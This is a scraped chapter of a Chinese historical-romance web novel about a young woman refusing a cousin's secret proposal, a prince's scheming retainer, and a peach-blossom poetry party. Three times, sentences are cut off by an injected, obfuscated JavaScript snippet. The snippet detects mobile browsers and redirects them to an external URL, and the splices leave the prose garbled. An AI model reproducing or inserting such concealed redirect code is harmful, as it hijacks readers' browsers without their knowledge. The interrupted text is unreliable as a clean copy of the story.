楚王果然财大气粗，开出的条件很丰厚。 “可是她家中急用钱？” “她不曾提到。” 项梧根本不在乎这个。 “这么快就招了，莫非她有悔改之意？” “悔改？”项梧嗤笑一声，“她甚至还求我放她去见楚王。” “你用刑了？” 慕池见他不回答，眼神询问青霜，得到了肯定的答案。 事已至此，多说无益，项梧毕竟是为了她。 慕池做决定：“连带着邀请函，把寻月送到楚王府吧。把楚王的令牌也给她，这样至少能进门。” 第二天早上，慕池去了吏部尚书的府上。 今天是项梧舅舅的小女儿、表妹叶姝音的十六岁生日，尚书府没有大办，请慕池过来也只是姐妹聚会。 慕池自己与叶尚书并无亲缘关系，但这些年忠勇侯府上的人情往来一直是她在办，走动之下也亲近起来。 慕池坐着轿子一直到了内院，后有仆妇带着，先去拜见叶夫人，她简单问了问慕池的身体状况就放她出来了。 仆妇领着她去表妹的院子，才走了不远就遇上了表哥叶瞻。 慕池给他行礼，道了声“表哥好”。 “妹妹是来找二妹妹的吧，我刚从那儿回来，她念叨你好久了。张妈妈，你回去忙吧，我带妹妹过去。” “那就请大少爷带姑娘去吧。”张妈妈乐得清闲，直接退下了。 “怎敢劳烦表哥带路？二妹妹的院儿我去过几次，依稀记得在何处，表哥回去忙吧。” “去年秋闱我也参加了，可惜没中举，现在也没什么好忙的。” 一甲进士的家属只能尽力安慰道：“只是一次不中，来年再参加就是，表哥现在就已经有功名，论天资已经超过很多读书人了。” 更何况他还是吏部尚书的公子。 “妹妹不笑话我就好。” 前面出现了分岔路，慕池看出他选了错误的那一条。可能二妹妹换了院子？ “表哥说哪里话，我现在不过是白身，哪有脸笑话哥哥？” “妹妹真会说笑，女子的诰命全仰赖夫家，你现在还未嫁，可不就是白身。” 慕池不太认同他的话，却也不与他争辩，只是笑而不语。 “路上远，妹妹去前面亭子上歇歇脚吧。” 慕池定睛一看，石亭上摆好了点心和茶水。 连青霜都发现不对劲了，悄悄捏了捏慕池的手指。 “多谢表哥，我还不累，就不歇了，还请表哥尽快带我去见二妹妹吧，我也想她了。” 叶瞻拦住她道：“妹妹冰雪聪明，不肯去凉亭，只是有些话我今日一定要问个明白。不知妹妹觉得我怎么样？” “表哥很好。”慕池不肯再多说一句。 叶瞻沉浸在自己的情绪里，没注意到慕池的神色变得很难看：“我倾慕妹妹已久，只恨不能时常见到妹妹，每次想起你，我都神思恍惚、夜不能寐。” “我知道妹妹的病，可是我根本不在乎，我对母亲说非你不娶，母亲也同意了，她说只要妹妹松口，马上就去忠勇侯府提亲。 “我知道我现在只是个秀才，还配不上你，但我发誓一定会努力考中进士。我想听你亲口说出来，你愿不愿意做我的妻子。” 对于慕池来说，她和叶瞻只有过几面之缘，她实在不明白哪里就到了“非卿不娶”的地步。 要定婚，慕池早就适龄，怎么这时候才开始闹呢？ 普通人家都难以接受她这种身体状况，更何况叶瞻是叶夫人唯一的儿子，舅母刚开始反对属实在情理之中，此刻也未必真同意，否则怎么让叶瞻在这么不正式的场合征求所谓意见，稍有不慎传出去就是她与叶瞻私定终身。 即使没有楚王横插一脚，慕池也不会同意。听他的意思，真要嫁给叶瞻，她就亏欠他家一辈子了。 慕池拒绝得很干脆：“我不愿意。今日我就当表哥没说过这些话，我府上的人也不会传出去的。” “为什么？是我哪里不够好吗？妹妹告诉我，我会改了的。” 叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378353|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞻想抓住慕池的肩膀，被青霜拦住推开了。 “表哥请自重，是我自知配不上表哥，故而不敢答应。今日来府上是为二妹妹的生日，表哥还是快带我去吧。” “我对你一片真心，天地可鉴。妹妹嫁到府上来绝不会受委屈，母亲不会因为你不能生育而苛责，到时候妾室生了孩子养在妹妹名下即可。你虽然貌美，只是已经快满十八了，再不出嫁岂不惹人闲话？家中没有长辈为你考虑，你得自己拿个主意才是。” 慕池听他越说越不像样，觉得今天就是他借二妹妹的生日做局，不然怎么会如此凑巧，又准备好了这些话。只是现在毕竟还在别人家里，不好直接惹急了他。 “表哥这一番良言我听进去了，既是肺腑之言，我如何能不细细思量？怕扫了二妹妹的兴，就请表哥帮我带去礼物和歉意吧。现在仓促不能即刻做出决断，待我回府，不出三日，定会给表哥一个答复。” 叶瞻见她的态度有所松动，十分欢喜，对慕池的话全部答应下来。 慕池让自己的丫鬟把礼物交到叶瞻手上，接着就告辞了。 一个小丫头跑着去安排马车，慕池一行人快步原路返回，幸而路上没人拦阻，遇上人也只说回去取东西。 好容易登上马车，车厢里伸出一只手拉开帘子，吓了慕池一跳。 另一只手把她扶稳。原来马车里是项梧。 慕池坐好后就吩咐车夫驾车回府了。 她气得一拳砸向项梧：“怎么不出声呢，可恶。” 项梧捂住胸口龇牙咧嘴，道：“好痛啊，你下手真重。不过，你以为里面会是谁，怎么会吓到？” “这是什么话，你以为我以为是谁，突然窜出来个人，任谁都会吓到吧。我还没问你为何跟到这儿，你先问我？”慕池没好气地说道。 “我没有跟着你，我是来找表哥的。他不肯出来，我也没意思，就想着先等等你呗，谁知道这么快就出来了，可是发生什么了？” 慕池不正面回答他：“我说了下午回府，你还等什么，天儿热起来了，马车里面不是闷得慌？” “想到别的好玩的我就走了，你还没告诉我怎么这么快就出来。” “等回家了再说。你怎么想起找表哥了，平时也和他交好吗？” “正是平日里交往少了，到底是自家亲戚，你和表妹交好，我也不能和表哥生分。不过表哥好像不愿意和我一处，想是嫌弃我幼稚吧。” “不见就不见吧，你别在意。他年纪大，和你喜好不同也正常。” 项梧勾勾嘴角，开始往外冒坏水：“说来也怪，表哥是舅母的独子，年纪这么大了，舅母还没给定下亲事，莫不是他有什么隐疾？改天我可得打听打听，我认识不少大夫，或许能帮上忙。” 慕池没有多想就接着说了：“你古道热肠一片真心，不知道这里面的人情世故。便是他有，既然瞒着咱们，就不要去问了，仔细他恼了你，那才是麻烦。” “表哥会是那样的人吗?” “你我对他都不了解，还是谨慎为妙。” 出了刚才的事，慕池不想让项梧和叶瞻多接触。 一直等到回了栖霞阁坐下，慕池才告诉项梧她早早回来的原因。她已经冷静下来了，抛却自己对叶瞻的喜恶，又摘出许多可能会惹怒项梧的话，她尽量客观陈述了一遍事情经过。 即使如此，项梧听完后也眼神冰冷。 “三日之约只是脱身之计，你不要挂怀，我来给他回复，忘了这件事吧。今后叶尚书府上我们不去了。” 慕池点点头：“今日我既逃了，日后就不会轻易过去。这件事你不必挂心，等过几天帖子到了，他自然就明白我的意思。说到底这件事只是表哥一人所为，你与舅舅同朝为官，万不可因此事生出嫌隙。” 5. 天然古怪 项梧答应得好，又和她说了会儿话才离开了。 此时的楚王正在府内会见门客，寻月找上门的消息被通报给了他，管家递上一封邀请函并金令，楚王看了之后紧锁眉头。 计划败露之时他就不想管这个丫头的死活了，如果她的命能让项小姐消气的话这就再好不过了，可是慕小姐居然放她到这儿，楚王搞不懂什么意思。 “王爷若有烦心事尽管讲来，臣也许能略尽绵薄之力。” 楚王听得他说此话，愁绪散尽：“季庸智计无双，你若肯帮我，此事必成！” 楚王把自己之前的安排以及现在的状况尽数告诉了他，又让他看过邀请函。 房頔听完，心中暗自长叹，为忠勇侯府小姐，为那个被利用的丫鬟，也为成日被纠缠在这些事上的自己。 楚王之前的安排实在是个昏招，办事的人也没脑子，挑了这么个不妥当的人，才几天就暴露了。这些话房頔都咽了下去，他深知现在不是说这个的时候。 “季庸，你说她此举何意？想是她生气了，要本王亲自处置了这丫头给她赔不是？” “王爷勿忧，小姐既然肯邀请您必然是对您有意，可先派人打听小姐还邀请了谁；眼前之事，把金令送回是惧怕王爷威势，送丫鬟也有讨好之意，王爷不妨收下。” 楚王听完大喜，立即让内侍把寻月带入王府中问话，对房頔道：“季庸果有大才，本王真是一刻也离不开你！科举之事本王无法插手，只能暂时让你做个门客，你且放心，等本王大婚后去往封地，定会给你高官厚禄。” “怎敢让王爷如此厚待？科考不第确属臣天资愚钝，这些年已经给王爷带来很多麻烦了。” “说什么麻烦，前些日子怕你见了本王强颜欢笑，所以未曾召见，这些时候过去，想你大约缓过来了，所以相邀。说来说去，本王还是那些话，你不要灰心，也不必担心吃穿用度，这次不成，还有三年后，三年不成还有三年，以你之才，假以时日必定高中。” 三年之后又三年，房頔参加了三次秋闱，在楚王府做了四年的门客。初次进京时他自以为才高八斗，何曾想到会在这里蹉跎六载。 “各人有各人的缘法，臣大概是命中注定不能得中。韶光易逝，青春几何，臣愿全心全意为王爷效力，报答王爷知遇之恩。” 楚王抚掌大笑，连道三个“好”。 “今日还真有一桩事非你不可，本王素知你有诗才，过几日乐陵县主要办赏花宴，你就替本王代笔，以“问桃”为题作一首诗赠与她吧。” 房頔颔首，应下了这桩事。 楚王半开玩笑地说道：“会上有许多才子，季庸可不要让本王出丑啊。” 房頔毕恭毕敬道：“王爷吩咐，臣不敢不用心，必定字斟句酌、仔细推敲。” 虽然王爷说的隐晦，但做了他这些年的门客了，房頔明白是怎么一回事。若是寻常赠诗，怎么放着许多“咏桃”“颂桃”不用，偏是这个略显刁钻的“问桃”。大约是诗会漏了题，王爷先知道了。 但他本不需要这种才名，不知为何起了兴致。 不过一首诗，对于房頔来说不值一提，但是王爷既然都那么说了，他也要表现得“用心”一点才行。 次日，礼部尚书府。 李夫人满面春风，带着新做的两套衣裳到了天然居门口顿住。 她老远就瞧见了这张匾额，打心底不喜欢这个古怪名字，但还是颇为大度地留到现在，展现自己的开明。 今日有个大喜事，她不想在这上面计较，迈步进到院子里。 李质真出来迎母亲，二人并肩进屋。 “母亲为何如此高兴？” “太后娘娘驾临诗会，我能不高兴吗？快挑件当天穿的衣裳。” 李质真脸上的笑容消失了：“母亲可知道是什么事？” “想也知道肯定是给楚王殿下选妃，太后早有此意，但因为楚王不愿，就一直拖着，这时候突然提起，想是楚王终于愿意成婚了。我的儿，这可是你的福气。” 丫鬟捧着盘子跪在地上，李质真兴致缺缺，依照自己的喜好选了青绿色的那件。 李夫人驳斥道：“这个不好，你是什么眼光，不如旁边那件水蓝色的，太后娘娘喜欢水蓝色。” 李质真不欲和她争执，同意了这个决定。 “现在穿上我看看。” “量体裁衣，有什么可试的。” 李质真不想穿上之后让她像点评物件一样点评自己。 “不试也行。如果见到楚王，你一定要多笑，别跟现在似的摆张臭脸，没男人会喜欢。” “我为何要他喜欢？”李质真有点生气。 “难道你不喜欢楚王？”李夫人仿佛听到天大的笑话，“京中的闺秀们谁不野心勃勃地把楚王当做自己夫婿的最优选择？咱们有这个机会你反说不喜欢？ 我都打听过了，县主这次新邀请了吏部尚书家的小姐和忠勇侯府的小姐，你不用一脸不情愿，人家未必看得上你。” 李夫人趁机教育了女儿一顿，努力扳正她的思想。 李质真沉默不语。 “知女莫若母，你在诗会上夺过几次魁，心里难免有些傲气，只是咱们女人，归根结底是要嫁人的，那些虚名没什么用处。” “你已经十七，再拖下去就成老姑娘了，到时候怎么好说亲事？这种话只有我说给你听，这些事也只有我为你操心。你表哥家娶的新妇，人家才十六，比你还小了一岁，你自己也得着急起来才是。” “母亲是嫌弃我没有在闺中时就有孕吗？” 她上次听说表哥的这位新妇时，还是母亲在说人家不知廉耻。 话一出口李质真就后悔了，此事分明不是女子之过，但自己刚才的话却有指责的意味。 她为自己的话深感羞耻，不知道自己怎么变成了这样刻薄的人。 “这话什么意思，我为你操心劳力，你反怪我？你跟我说说你到底是怎么想的，楚王哪里配不上你？” 李质真并不言明，一是她不想背后说一个人摆在明面上的缺点，二是她知道说出来也没用，母亲只会贬低她、再劝她接受。 “母亲为哥哥选亲时挑剔得很，觉得无论哪家贵女都不般配，怎么到我这儿就觉得人家样样好，我必然是高攀？” 不只是这次的楚王，从前母亲也提到过好多家的公子，只要有三分人样她都能把人夸上天，李质真但凡多说一句，就能听到一大堆贬低自己的话。 “那不一样，你怎么能跟你哥哥比呢？他将来可是要为官做宰的。” “母亲这话差了，只有家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378354|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传的爵位，哪有家传的官位，哥哥还是先努力考中秀才吧。” “那是你亲哥，你也说得出这种话！”李夫人仿佛听见了极为恶毒的诅咒，气红了脸，愤而反击，“你哥哥聪明极了，小时候没把心思放在读书上，只一门心思练了一手好剑法，我儿若是早早读书，现在肯定连中三元！你凭什么瞧不上他，你连上考场的机会都没有！” 最后这句话真正说到李质真的痛处，仿佛一盆冷水，浇灭了她心头的火焰，从前的意气风发皆是幻想泡影，今后她终究会走上这条母亲规划好的路，成为一个背弃自己信仰与理想的傀儡。 李夫人见她不语，得意地乘胜追击：“你貌不出众，又无贤名，凡事不要眼高于顶，也不要张扬，人家不当面说，背后岂不笑你想出风头？” “既然是在背后说，母亲怎会知道？” “猜也猜得到！”为了印证自己的说法，李夫人拿出了忠勇侯府的请柬让李质真看，“你瞧瞧，但凡家里有个长辈，还会让她做出这样失礼的事？这不是带累坏了忠勇侯的名声。” 李质真道是何事让母亲这样义愤填膺，展开邀请函，但见： 李尚书钧鉴 妾，生而勇武，幼习韬钤，剑蕴霜锋，弓藏霹雳。力能扛鼎，气压霸王之雄；艺可穿杨，技追养由之绝。吾之勇力，迥出尘表，不让古之名将。 常叹巾帼少匹，须眉寡敌，京都公子，徒饰金玉。今特设台较艺，以武求凤。不拘齿序，不重门第，唯求无妻室、胆略过人者，四月十五巳时至云鼎楼登台一试。 若能挫我锐气，胜我拳锋，便同心相守。倘京中才俊，尽皆束手，则知裙钗之下，自有盖世之勇，大将之风，非独男儿可擅也。 窃问汝家中公子，敢应战否？ 慕东溟顿首 李质真看完后，眼里又有了微弱的光亮。 但不知是何等样人，竟敢做出这样大胆的事。 “京城里的人家她几乎发了个遍，我看届时能有几人到场。”李夫人很看不上这场比武招亲。 “依母亲的意思，是不想让哥哥去了？” “当然，为什么要跟她这样的疯丫头扯上关系？” “母亲肯定不是怕输给她吧？量一个小女子能有多大本事。母亲刚才还说哥哥剑法娴熟，平时也没个展示的机会，珠玉藏于匣内岂不可惜？不如趁此扬名，也是给新科探花面子。” 李夫人见她说得诚恳，动了这个心思。 平时夫人们聊天，都只恭维她养了个好女儿，自家儿子却从未被提起。想这样的好名声一个女孩儿要了有何用，李夫人只恨不是她哥哥参加诗会夺魁。 我朝虽有武举，但还要考“射箭”“举重”“策论”等科目，一是自家儿子不感兴趣，二是李夫人心疼孩子，不忍心他苦练，故而没办法走这条路。现在如果可以通过这场比武扬名，那就是天大的好事。 “嗯，忠勇侯毕竟和你父亲同朝为官，该给面子。” 李质真笑了，母亲不反对，此事必成。 “既如此，我不多留了，去找你哥哥说说这件事。” “好。”李质真把母亲送到门口。 李夫人又想起来一事：“你赶紧让人把‘天然居’这张匾额摘了，姑娘家的起个花儿草儿的名字多好，偏你古怪。” 6. 桃枝投壶 慕池进到宣国公府内，暂时和项梧分开。 名叫桃花宴，慕池想到会有桃树，只是不敢想会有这么多，放眼望去，少说有两百多株。粉白的桃花一朵压一朵绽放在枝头，真是美不胜收。 这样的景致倘若在京郊不足为奇，可它偏在宣国公府内。配合着地势和曲径，慕池和青霜走到高处、遍赏美景才看到了设宴之地。 慕池不太认得这些桃树的品种，却也不觉得这是凡品。 左右两边相对陈设着许多张桌椅，桌子左侧摆了铜壶，广口细颈大腹，壶座还压着一张纸。 公子小姐们少有落座的，多是三两人聚在一处闲聊，甚是欢快。 站在高处的慕池被注意到了，先是一两个人看过来，口口相传间几乎所有人都向她投来目光，大家都想看看慕东溟到底是谁。 一个寄居在侯府的孤女，竟然敢以忠勇侯府的名义下了那张帖子，真是好大的胆量。 她自夸武艺高强，众人议论她必然是个虎背熊腰的粗鄙女子，今日见她身形单薄，只略高些，看不出不凡之处，心里多了几分轻视和鄙夷。 慕池不知道这些人在想什么，只是平静扫视过去，坦然对上他们的探究的目光。 众人和她对视后陆续收回视线。 慕池不常参与这种宴会，不认得几位小姐，她看到了叶尚书家的姝音表妹，只是因着之前的不愉快，此刻也不好过去。 她看着不时飘落的花瓣，她想和青霜说说话，每每想要开口却总是伤春之词，只能咽下。 “青霜，你悄悄帮我看看，侯爷身边现在有人吗？” 慕池有点好奇，但她自己不敢明目张胆地往公子们那边看，而且她的目力也没有青霜好。 青霜很机灵，做了个假动作往那边浏览一遍，回身道：“小姐，侯爷身边有不少公子，相谈甚欢的样子，而且侯爷刚才也在往小姐这边看，我好像被发现了。” “可恶，他回家一定会笑话我。他怎么总是那么受人欢迎呢？”慕池懊恼。 哎，此刻怎么没有别的小姐落单呢？还好身边有青霜陪着。 好在也没聊多久，乐音响起，大家陆续落座，贴身丫鬟暂时到了别处。 引路的丫鬟曾介绍过乐陵县主的宴会向来不分座次，随意就坐即可。 慕池专门挑了个极为偏僻的位置坐下，离主位很远，坐定后抬头，不免看到对面公子坐席，项梧正要在那里落座。 “你就是慕东溟？” 慕池闻声往左看去，见到一个面生的粉衣女子。 “是我，敢问……” 慕池的话被打断：“有什么敢问不敢问的，我是英国公家的女儿，你可以叫我齐风。叶小姐已经同大家介绍过你了，她说你性格古怪，不好相处呢，所以别人都不理你。” 齐风一副看热闹不嫌事大的样子。 “既然如此，你为什么和我一处，还告诉我这些？” “什么叫既然如此呀？你都不生气、不想辩解一下吗？她还说了别的，她说当初是你惹了忠武侯世子夫人不开心，连累的忠勇侯才不得不搬出去。” 齐风期待地看着她的反应，却只看到了波澜不惊。 “你好没意思，本来打算看你们在这儿闹起来的。想来她是知道你的性子才敢这样说，你这样很容易受欺负的。” “我脾气不好，不怎么能受欺负，只是不敢在这儿放肆。” “你倒是谨慎，说来叶小姐也是当姑姑的人了，还是这么不稳重。” 齐风并未挑明，其中真假尚未可知，慕池纵有猜想也不敢下论断。 “我不过是胆小罢了。” 当今皇后娘娘正是英国公的妹妹，也是这位赵小姐的姑姑，她想让这场宴会办不好可太有动机了，但不知县主为何多次邀请她。 赵齐风可不认为她真的是胆小，换了个话题：“怎么坐的这样偏？如果不是为了找你，我肯定要去前面争个座次的。” “我这是第一次参加县主的宴会，随意选座，有什么好争的呢？”慕池不回答她的问题，反问她。 “好的位置方便捣乱呗，她敢请我就敢来，我来了就不会让她们开心。” 慕池被她坦率的话逗乐了。 “那什么地方是好位置呢？” “乐陵县主和李质真中间呗，可惜这次要让她俩挨着了，不过坐在你身边也不错，我愿意和你多说说话。” “对了，你知道县主的宴会一般都要作诗吗？叶姝音说你小时候一直住在边疆，不过你弟弟都是探花郎了，我应该不用提醒这个。” “我不如他，不太擅长作诗。” “真的吗？我就说是个人就会有缺点。不过你别担心，县主出的题目不会太刁钻，到时候你想不出来了，我指点你两句。” “如此就多谢了。” 慕池抽出压在壶底的纸张，细看上面的文字： 击鼓传花：乐声停，手中有花枝或壶中有花枝者者问桃一事并作答，再有接到花枝者可就相同问题给出不同回答。传花枝须就近，投花枝则无限制。投不中视为乐声停，由投者给出问答。 赵齐风也看过规则，道：“想是今日题目与此有关了。” “齐风，我看这上面怎么没有惩罚？可是有不成文的旧例，故而没有在此说明？” “罚？只是个游戏罢了，并不算难为人，往日里没人需要被罚呀。哪怕是写诗作文，也只有好与不好之分，不曾有人写不出来。你是怕自己想不出来吗？” 慕池摇摇头：“我是怕排在后面，别人把我知道的都说尽了。” “到时候你若没有，赶紧往我这里传就是了。” “那我可就不客气啦。” “没想到今日不用我拦，她们也没坐在一起。” 慕池知道她说的是谁，随着齐风的目光看去。 “现在坐在左下首位的就是乐陵县主，平时她不坐那儿。李质真就是那个穿浅蓝色衣裙的，中间靠后的位置。她们莫不是吵架了吧，嘿嘿。不过今天太后好像要到，你瞧上面还设了两个座位，原来是没有的。还有一个莫不是楚王？叶小姐坐在县主身边呢，她会向县主介绍你的。” “她的确很热情。” 待众人坐定，乐陵郡主站出来，道：“今日游戏已经定下，我却忘了取桃枝了，真是抱歉。” “县主何必自责，现在着人折一枝就是了。”叶姝音接道。 县主摆手道：“既然是我之过，就该由我自己来折。” 旁有侍女献上弓箭。 慕池看着她搭箭挽弓，朝着百步之外的一株桃树干净利落地放箭，箭出而枝落，她不由叫好，幸而淹没在大家的声音之中。 “献丑了。”县主拱手道谢。 齐风羡慕道：“她好厉害，又把射箭也练得这样好。” “又”吗？ “桃枝已得，寻常鼓声无趣，可有人愿意奏乐？” 叶姝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378355|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音稍等了会儿，见无人应下，道：“我略会几支琴曲，不知可否？” “有劳姝音了，早闻你琴音动人，师从大家，今日你到此，她们都不敢说自己通音律了。” “哪里，我是第一次参加诗会，是诸位让我罢了。” 县主于过道末设一桌案摆放瑶琴，请叶姝音前去。 “按照惯例，题目是我出的，我就不参加这个游戏，此时先给大家做个示范，”县主剪去多余的花枝，沉吟片刻后问道，“我取花枝欲供瓶，常因其中一蕊颜色不好而弃之不用，你可嫌弃负累吗？” “答曰：大谬也，我等开花非为争妍，实为结果，折去之枝已然无用，何须在乎你等品评？” 写诗作文终究是剖白内心，今日问答也是如此。 慕池听后不由得细想，对县主的性格、想法有了一定判断。 “抛砖引玉，诸位见笑，”县主将花枝递给身边的小姐，“姝音，可以开始了。” 乐音响起，花枝传递起来。 小姐们这边有两排，慕池坐在第二排的最末。 她不擅弹琴，却还挺喜欢听琴曲的。 音乐节奏逐渐加快，花枝也传到慕池附近。 慕池接到前排递来的花枝后，琴声停了。 许多人在看到最后停在慕池这儿后，都朝叶姝音的位置看了一眼。 “哈哈哈，姝音这是有意偏袒自家人了。”县主笑道。 慕池不解其意，正欲起身作出问答，被县主拦下了：“慕小姐不必起身，我们这儿没那么多规矩。” 慕池点头致谢，道：“想你才刚盛放，没有几日便要凋谢，一生的时间多么短暂，尚且不能遍览四时之景，你可想修成人身，活上百年？” “答曰：你可怜我吗？殊不知我也在可怜你呢，宠辱若惊，常贵大患，这就是你说百年，有什么值得羡慕的呢？” 慕池照着县主的样子来了这么两句，勉强糊弄。 大家虽有议论，但总算没有要她重来一个，这就是过关了。 把花枝递出去后，赵齐风凑过来说：“叶姝音刚才在针对你。” 慕池不明白。 “在场会弹琴的不止她一个，都听出来她最后几个音弹错了，你说好好的，她怎么就紧张起来了呢？” “原来是这样。”慕池有些惭愧，因为她自己没听出来，往后不好说往外说自己喜好听曲子了。 “没意思，你又不生气，亏你还说咱们这些‘人’宠辱若惊。”赵齐风没看到自己想要的表情，有些不满。 花枝又传到了几位小姐手中，几位给出的都很好，既新奇又有趣。 已经有小姐投壶传递了，飞落的花瓣飘到了某家小姐的头发上，小姐边骂边央人把花取下，被点到名字的姑娘还嘴调侃，这边更加热闹欢快，刚才明里暗里的尴尬都消散了。 乐声停，这次花枝到了李质真的手里。赵齐风特意介绍过她，所以慕池记得。 “想你原来在树上时，这些个闺秀、才子莫不引经据典争相称颂，现在被大家拿到手里了，却都像拿到了烫手山芋似的赶紧扔出去，你有什么不满吗？告诉我，我替你骂他们。” 话音刚落，一道道“讨伐”的声音就落下，李质真的话引发了大家的“不满”。 “各位稍安勿躁，听听祂是怎么说的。“李质真举起花枝安抚道。 “且听你一言，若不说出好的，定要打嘴！”不知是谁说了这么一句。 7. 天然居士 “答曰：我平日里吃斋念佛，心地善良，为花大度，不怪他们；只想问一事：刚才我在家里睡得好好的，是给我摇醒，连花带床都搬到这儿了？ “她呀，我告诉你，最前面穿淡紫色衣服的就是。你问她做什么？” “我要发下宏誓大愿，来世变作一只公鸡，提前一个时辰打鸣，专门扰她清梦。” 众人哄笑一片。 “你这妮子，真是可恨！” “这是你让花开智，与我无关啊。”李质真摊手。 县主白了她一眼。 李质真抬手，随意把花投进了某位公子座前的壶中，公子们这才真正参与了这场游戏。 慕池也被李质真的话逗笑，赵齐风看她：“有这么好笑吗？” “我只是没想到大家在一起这么有意思，李小姐一定很受欢迎吧，县主也没有架子。” 赵齐风看出她眼里的向往，道：“你在想什么？是我先来找你的，难道我不好吗？” 她的话里透着心虚，大概是想到自己那些挑拨之举了。 “即便如此，你已经跟我说过话了，她们会排斥你的。”赵齐风吓唬她。 慕池假装相信。 “你跟着我，我不会让你吃亏的。”赵齐风加了个保险，她不想让这个新来的也被拉拢走了，特别是这个新来的很合她的脾气。 “好。” 公子们那边传了几轮，慕池和赵齐风有一搭没一搭地闲聊着。 赵齐风告诉她待会儿如果要作诗，她最好给自己想个雅号，平时大家虽然都称呼字或者小名，但这些诗是要整理成册、刊印发行的，上题雅号更为合适。 慕池正在想这个，没注意到花枝被投进了自己的壶中。 叶姝音抓住时机停下。 赵齐风手疾眼快取出花枝。 赵齐风默认是自己，着急开口道：“我问桃花：……” 叶姝音并不认可这个结果，但其他人都没有异议，她也不好出言计较。 赵齐风卡住了。 “你倒是说呀。”旁有小姐催她。 赵齐风挠头：“刚才还有的，现在就忘了，容我想想。” 慕池感谢她的好意，低声道：“我有了一个，还给我吧。” 慕池也有话说，赵齐风拿得快了，自己并不曾传过去。 赵齐风刚说过要帮她，马上就来了个机会，再还回去就有些丢脸了。她原来想的那个一时间真的忘掉了。 “我问花……”赵齐风又重复了一遍，对上慕池担忧的目光，脱口而出，“红颜薄命，你害怕吗？” 问题有了，答案就在身边。 “答曰：天有不测风云，我所能做的只是勉励修身罢了。” 有人指出：“赵齐风，这个与桃花有什么关系？” “积点口德吧，你说的那个那么勉强，我都没挑。”赵齐风恢复了气势。 “好吧，念在你算是英雄救美，这次我就饶了你。” 赵齐风轻哼一声，把花枝递了出去。 “可惜我投壶不好，不然定要扔回去。”赵齐风对慕池道。 “我投壶尚可，倘有机会我扔回去。” “你不是胆小吗，还敢扔？” “这种事儿并不犯禁，有什么不敢的。” “看来我小看你了。” “其实大家没有不喜欢你，我和你说话也不会被讨厌吧。” 赵齐风脸红：“你从哪里看出来的？这都是表面上，你才来还不知道。” 慕池道：“好，如果以后还能有幸赴宴，麻烦你多给我介绍介绍。” “这是自然。”赵齐风答应了。 “还好有你在。” “嗯……你确定能投准吗？咱们坐的靠后。还得快点哦，她盯着你呢。” “我在家扔的挺准的，这个距离应该可以。” “好，那边又快传过来了。” “嗯，放心吧。” 众人的目光跟着花枝来到了慕池身上。 慕池起身瞄准，叶姝音也想看看她能不能投中，所以不着急停。 花枝在空中留下一道弧线，稳稳落入壶中，壶后面坐着的人，正是项梧。 项梧慢悠悠取出花枝。 叶姝音并未停下弹奏。 赵齐风问道：“怎么传给他？不是他扔给你的。” “我不知道刚才是谁扔过来的，选他一是离得近，二是我能得罪起。” “白夸你了，你还是个胆小鬼。你怕得罪那个人，他怎么不怕得罪你？倘若我有你这样的本事，肯定要‘报复’回去。”赵齐风恨铁不成钢。 慕池笑笑，心里羡慕，齐风肯定是被娇宠长大，才会有这样的个性。 “齐风，你说大家的诗文会刊印发行，我在哪里能找得到呢？我想瞻仰瞻仰。” “这个嘛……我手中倒是有抄本，是每次离开时县主送的，这次的诗作你也会收到一份，你若想看之前的，我哪天去你府上给你带去。” 每次聚会后每人都会收到一份吗？想是县主府上有不少识文断字的侍女。 “怎么能麻烦你呢？我自己去书局找就行。” “你不想让我去吗？” 慕池有些触动，因为还从来没有姐妹主动来忠勇侯府找过她。 “寒舍简陋，只恐招待不周。” “你这就算答应了，我会提前给你下帖的～” 慕池道：“嗯，我等你。” 期间花枝又传了两三人，慕池没怎没么注意听。 这次琴声停下，花枝又传到回项梧手里。 “你作为护山使者，为什么如此反复无常？刚开始你愿意放任渔夫进山，后来怎么又要阻拦刘生呢？” “答曰：渔夫来时不曾做标记，我不知其心才被骗过。你说后来者是刘生，我看他像周子，仅此而已。” 慕池心道：这个意象也被多人提到过，但没人这样说过刘生，虽然是借桃花之口，也着实大胆，希望不要有不好的影响。 涉及到项梧的事，她总要多担心些。 项梧的目光和慕池对上，微笑示意，把花枝抛了过去。 慕池无奈从半空中接下了花枝，因为按照正常轨迹它是落不到壶里的。 项梧是故意的，因为如果慕池不主动接下的话，被罚的就会是他，他在赌慕池不忍心。 慕池传下去。 小姐们这边有不少擅长投壶的，她们也都大胆起来往远处扔去，逐渐变成大家争抢桃枝，展示自己的准头。 不少公子朝着慕池的方向抛来桃枝，虽然不是人人都能中，她却也不 